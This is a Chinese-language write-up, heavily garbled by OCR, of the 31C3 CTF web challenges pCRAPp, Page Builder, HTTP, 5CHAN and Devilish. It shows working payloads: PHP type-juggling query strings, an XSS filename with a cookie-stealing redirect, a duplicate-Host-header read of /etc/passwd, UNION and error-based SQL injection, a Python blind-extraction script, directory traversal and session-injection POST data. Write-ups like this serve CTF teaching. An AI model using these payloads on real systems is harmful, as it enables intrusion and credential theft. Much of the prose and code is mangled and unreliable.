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0x00 H %

31c3 CTF B RMBAMAK), WRERT ZEETUI. FEMAHE T ANASBMKEE, 57— writeup.
0x01 pCRAPpPHP is nasty crappy sometimes, just pwn it http://188.40.18.69/

KT E T £ phpH TG HAER . TR BEXMIRL. http://188.40.18.69/0CRAPp.php?a=
(%22a1%22:%221337a%22, %22a2%22:[[1],1,2,3,0]}&b=0001&¢c[0]=0031c3&c[1][]=1111&d=%00

ece® [ httpc//188.40.1..]0=11118d=%00 = | +
A ps

{ 6 0 188.40.18.69/pCRAPp.php?a={"a1":"1337a","a2":[[1],1,2,3,0]}&b=0001&c[0]=0031c3&c[1]]=11118d=%00
@ sEgs -~ 0 cEsss -~ I HFLE O #AmLE ~

<?php

show_source(__ FILE_ );

Sv1=0;8v2=0;5v3=0;5v4=0;

Sa=(array)json_decode(@$_GET['a’']);

if(is_array($a)){
is_numeric(@%a["al"])?die("nope") :NULL;
if(esa["al"]){

{$a["al"]1>1336)?8$v1=1:NULL;

if(is_array(@%a["a2"])){
if{count($a["a2"])!==5 OR lis_array($a["a2"][0])) die("nope");
$pos = array_search("ctf", $a["a2"]);
Spos===false?die("nope") :NULL;
foreach($a["a2"] as Skey=>$val){
Sval==="ctf"?die( "nope" ) :NULL;
}

$v2=1;
}

}
if (preg_match("/"([0-9]+\.2[0-9]+)+5/",@5_GET['b'1)){
$b=json_decode(85_GET['b']):
if(Svar = $§b === NULL){
(Svar===true)?8v3=1:NULL;
}

}
Sc=8%_GET['c']:
§d=8$_GET['d'];
if(@Se[1]){
if(!strcmp(Sc[l],%d) && Sc[l]l==8%d){
eregi("3|1|c",$d.8¢c[0])?die("nope" ) :NULL;
strpos(($c[0].5d), "31c3")?$v4=1:NULL;

}
if($vl && Sv2 && Sv3 && Svd){
include "flag.php";
echo §flag;
}
2>
31c3_pHp_h4z_{4113d_d34|_witH_1T


https://blog.csdn.net/weixin_39701288
https://so.csdn.net/so/search/s.do?q=html+%25E4%25B8%25AD%25E7%259A%2584%25E7%25A9%25BA%25E6%25A0%25BC%25253c+br%25253e&t=blog&o=vip&s=&l=&f=&viparticle=

XEHAR TPHPISRAM — MM, J— MBI — A HMRRT R R, SeEHMmERintval B L.
is_numeric(@%a["a1"])?die("nope"):NULL;

if(@$a["a1")y
($a["a1"]>1336)?$v1=1:NULL;
}

XEWHAHTHERKEE, array_search &{# H'ctf flarrayH IEAME/EELE:, T H
intval('ctf)==0.if(is_array(@%$a["a2"){

if(count($a["a2"])!==5 OR lis_array($a["a2"][0])) die("nope");
$pos = array_search("ctf", $a["a2"));
$pos===false?die("nope"):NULL;

foreach($a["a2"] as $key=>%val){

}
$v2=1;

}

XEMB T —ABUG, http://blog.51yip.com/php/934.html. FEwindows T 1.1.1 XFh#id th &3k 4s .
if(preg_match(*/A[0-9]+\.2[0-9]+)+$/". @$_GET[b)X

$b=json_decode(@$_GET[b]);

if($var = $b === NULL){
($var===true)?$v3=1:NULL;

}

}

XEHBIMETIR, arrayMistringi# 17 stremp ELE R B <38 Bl — A null,  %007] BL#kKreregiSc=@$_GET['c’;
$d=@$_GET[d;

if(@$c[1]{

if(!stremp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "31c3")?$v4=1:NULL;

}

}
if($v1 && $v2 && $v3 && $v4)

include "flag.php";



echo $flag;
}
0x02 Page Builder

These guys have ripped off our designs and using them in their web pages builder! We’'d Haxx them, don’t wort
4 | 1 | 3

R—@aAME, B—PWE— R, R E & Earifilenamelk Hescape.
W HES K

filename=%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E.php&title=aaa&style=style1&content=aaa
ST — RS HERIXSShttp://188.40.18.76/output/e53a4 123da9c71138c0daa360b0d89ab05ced8b8/.php

BATAT LA & — A Marcookie 1 iE £
http://188.40.18.76/output/e53a4123da9c71138c0daa360b0d89ab05ced8b8/.php#document.location="http://lar

4 | 1 | 3

BB HIXNXSSHEAZ E, Contact Us, #trILAfirElcookie T, B LAE EIFlag

Ox03 HTTP

Check out our cool webserver. It is really fast because it is implemented in C. For security we use the versatility

< m | b

Get the source at:

http.tar.bz2 Some example sites hosted with our webserver:
http://works.90.31c3ctf.aachen.ccc.de/works.html
http://31¢3ctf.90.31c3ctf.aachen.ccc.de/announcements.html
U T — A B webserver, B 5%E — FEMRE.

run.sh F] AE RIS R ELT, fw.rb FitAserver file.c #1744t . exec socat "TCP-
LISTEN:80,reuseaddr=1,fork" "EXEC:./fw.rb simple ./serve_file,su=nobody,nofork" 2> >(tee -a ../;www.log)

% %l server_file.c 1, £iEHE hostH T MipathstfF, FiRE, B %M BMER R
if (chdir(host) == -1) {

goto _404;

}

int fd= open(path, O_RDONLY);

if (fd == -1) {

goto 404,

}

struct stat stat;

if (fstat(fd, &stat) == -1) {

goto _404;



}
const char *file= mmap(NULL, stat.st_size, PROT_READ, MAP_SHARED, fd, 0);

if (file == NULL) {

goto 404,

}

close(fd);

B2 HEX I RIZE RSB w.rb forbidden.
root@kali:~# curl http://works.90.31c3ctf.aachen.ccc.de/passwd -H 'Host: /etc/'
Forbidden

BE— Tfw.rbi 2 SR EUR G — IR BRI Host
def parse_headers(line_reader)
line_reader.collect do |line|

[$1, $2] if line=~ NA([~]%): *(.)\z
end.compact.inject({}) { |h, x| h[X[O]]= X[1]; h }
end

serve_file=3REUE — Ik H B AT Host

for (;;) {

if ('read_line(buffer, &buf_size)) {

goto invalid;

}

if (*buffer =="r") {

goto invalid;

}

if (strncmp(buffer, "Host: ", sizeof("Host: ")-1) == 0) {
break;

}

char *eol= strchr(buffer, \r');

buf_size-= eol-buffer-2;

buffer= eol+2;

}

XA AT A& P AN HostRGed fw.rb T .



root@kali:~# curl http://works.90.31c3ctf.aachen.ccc.de/passwd -H 'Host: /etc/' -H 'Host:
works.90.31c3ctf.aachen.ccc.de'

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
Ip:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
syslog:x:100:103::/home/syslog:/bin/false
messagebus:x:101:105::/var/run/dbus:/bin/false
uuidd:x:102:107::/run/uuidd:/bin/false
landscape:x:103:110::/var/lib/landscape:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
flag:x:1001:1001:31C3_b45fa9e4d5969e3c524bdcde 1584 125:/home/flag:

0x04 5CHAN

5CHAN? Never heard of this image board, but they have exactly what we need. The picture we’re looking
for is not for public, so can you get it?

http://188.40.18.89/



H 561 19— T http://188.40.18.89/robots.txt, < &KIL—A-backupi] B, T# TRBBNIEE.

B TIRBRES KA — N sqiEANRHE, WEWTHRER, e L 2|Flaghttp://188.40.18.89/?
page=pic&id=9 union select * from pictures where id=9 -- a

® O® /., scHaNmeBoARD +

3 188.40.18.88/7page=pic&id=9 union select * from pictures where id=9 -- a ¥ x ~ 5

Ewaes - O msswa - IMsEFLs O #Emit -

5 CHAN

flag

you have finally found meh ! good job :)

_&&_St4rt_UslNg_===

0x05 Devilish

It's some devilish community public portal, we're pretty sure there’s something else out there, a private portal m:

a4 LI k

BHAERB—ASQUEAN S MR O . http://188.40.18.70/PROFILE/S4VKITTYKITTy
FE U AR BL T AT DASR B B A AT I SQLIE &)

FEAREIE TIRZ AT, St Z R XMLIREE T X2 R AR A . http:/188.40.18.70/PROFILE/56V-
extractvalue(1,concat(0x5c,(select%09Us3rN4m3%09from%09users%091imit%091)))--%09

Ninformation_schema #3387, RITFER A —F7 LRFHFBR L
http://188.40.18.70/PROFILE/54%5C/-

%28select%09*%09from%09%28select%09*%09from%09users %09join%09users%09b%09using%28id_user,
-%09

4 I F
PAT AT B A E S FBAPASWWOrD_OF_M3_WTF, HFAZs - -!

WEHFY, XBEF BRI MER AREE EKEFRFIKNRXR, XEHFALEREHKEL,
http://188.40.18.70/PROFILE/56V-extractvalue(1,concat(0x5c,
(select%09P4sWWOrD_O0F _M3_WTF%09from%09users%09limit%091)))--%09

BATAT LA Flocate & /148 IR EIE S . BT — A LEZER A



import requests

import string

charset = string.ascii_letters + string.digits
print charset

if _name__=='"_main__"

ipass = 'sd654egezjniufsdqc89q7d65azd123'
print ipass.encode('hex’)

while True:

for i in charset:

t=ipass +i

r = requests.get('http://188.40.18.70/PROFILE/56V-extractvalue(1,concat(0Ox5c,
(select%09locate(0x+t.encode('hex’)+',P4sWWOrD_0F_M3_WTF)%09from%09users%091imit%091)))--%09')

if r.text.find('XPATH syntax error: \\1\")!=-1:

print 'Got it!'+i

ipass =t

print ipass

else:

print 'No!'+i

1 H 52 ¥ ) i %5 Dracula / ZD456ddssd65456lksndoiNzd654sdsd654zd65s4d56489zdz
B2 Ja X —AN BB B K SO i, 7T BLE B B E R — AR B 3.

http://188.40.18.70/ACCESS?
action=browse&dir=../../../../..variwww/html/_WebSiteFuckingPrivateContentNotForPublic666

iy 16 BT B T T RT A4S EJR R
root@kali:~# curl http://188.40.18.70/_ WebSiteFuckingPrivateContentNotForPublic666/LOGIN_HEAD<?php

if(@$_SESSION['user){header("location: ".$LINK);die();}
if(isset($_POST['user])X

if(mysqli_num_rows(mysqli_query($con,"SELECT * FROM users WHERE Us3rN4m3=".mysqli_real_escape_s'
{

4 | 1 | 3

$_SESSION=$_POST;
header("location: ".$LINK);die();
else{

$Error=1;



}

?>

{BRFlagi ANERTH, TiRRBAERII—PwebkF 2zt . ERXMEFTAIUEER,
http://188.40.18.70/ACCESS?
action=browse&dir=../../../..1..]..I../nome/devilish.local/ __WebSiteFuckingPrivateContentNotForPublic666%2b66

4 | 11 | »

XA-serverd IINDEXSC#%i H T Flag

root@kali:~# curl "http://188.40.18.70/_WebSiteFuckingPrivateContentNotForPublic666%2b666/INDEX" -
H "Host: devilish.local"

This is the private Portal of us

If you are accessing this page this means you are one of the very few exclusive members who are allowed to cc
4 1 | 3

<?php echo($logged?"Here's your secret ".$flag."

":"Login to access the secret
u)?>

S

B — ARG LLR I, XPA R H S [ —Fsession, RATAT LAREERRIANN R, XEEEPOSTH
5 B $#E5%is_ExclusiveMember=1, [FA$ SESSION=$ POST, &#%[F F|Sessionz #.

| Go Cancel < >|* Follow redirection Target: http: 83,4018, 70 Lﬂ T
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
POST /LOGIN HTTR/1.1 i HTTF/1.1 302 Found "
Host: 188.40.1B8.70 - Tate: Tue, 0Of Jan 2015 OT7:%23:7% GHT P
Froxy-Conpnsction: kesp-alive Server: Apachs/2.4.10 (Ubuntu
Content-Lsngrh: 99 F-Fowsred-By: FHP/S.5.1I-Iubuntud. l
Cache-Conteol: max-agz=0 Expires: Thu, 19 Meow 1581 08:52:00 GHET
Accept: Cache-Control: no-store, no-cache, mmat-revalidate,
t=xt,/heml, spplication/xhtml+xml application/=ml;g=0.3, i post—check=0, pre-check=0
mage/ webp, */*:g=0.8 Fracuma: noe-cache
Origin: httop://l84.40.18.70 location: http://1BB8.40.189.70/
Tarr-Agent: Mozilla/5.0 [Windows HT 6.1; WOWE4| Content-L=ngth: 0
AppleWebEic/537.3F (FHTHL, like Geckol Content-Tywpe: text/html;: charset=utf-0

Cheoms/39.0.217L.95 Satari/537.36

content-Type! applicatlon/ X-wWw-Lormm-urlancodsd
Beferze: hetp://18E.40.18.70/LOGIN
Accept-Encoding: gzip, deflate

Aorepr-langnage: zh-CN o zh:o=0.8

Cookiz: PHESESSID=slisiibgofigimggsalvisendge

uarr=lraculatpasa=ZR45EddasdE5456 1 kando illz=dE59adads59zd
E59405£485 2028 Ls_Ea-:cluvae}:enmer=l|

dmps.wooyml.orlg

F %Vl devilish.local, B 7] 15 2lflag



Go Cancel < | > |»
Request

J'ﬂ_aw_ Parame ] Headars ]' Hex ]

Target: hitp:'483.40,18.70 EJ @

R

E‘] Hea.delm.l’ Hex r HTML. T.Rﬂl'}der-‘l

FET / HTTE/1.1

Host: devilish.loeal

roxy-Connection: keep-alive

ache-Control: max-age=0

coepk

Fext/html, app licstion/xhtml+xml, applicat ion/zml;q=0.9, i
page/webp, */*:¢=0.8

ger-fgenc: Mozilla/s5.0 (Windows MNT E.1r WOWER)
AppleWebEit/537.368 (KHTML, like Geeko|
Fherom=/39.0.2171.595 Safari/537.36

=fer=r; http://108.40. 108,70/ LOGTH

coe=pbk-Encoding: gzip, deflat=,
coepb-Language: zh-CI, zh:g=0.8
Fookiz: PHPSESSID=213s13bo93 g7maylalvis amge

=cdch

e

<hES>

A
Thig iz the private Portal of P
ug<he><br/»
1f you are accessing this page this
means you are one of the very few exclusive members
who are allowed to come in herel<bc/s>
<hE/f>
Hera's your sacret
31c3 ThirF 4R3 P3vlliSh ThOghtd ev3l 10 th3 MOsT 4negdl
1c MindS<ler/=<hr/ = <sparn
(= 1:s.=-".=t1,-le}\"?s<;" =pan> </ divs i

jdivaa)ftds

<td rowapan="7"> drops.wooyun.org
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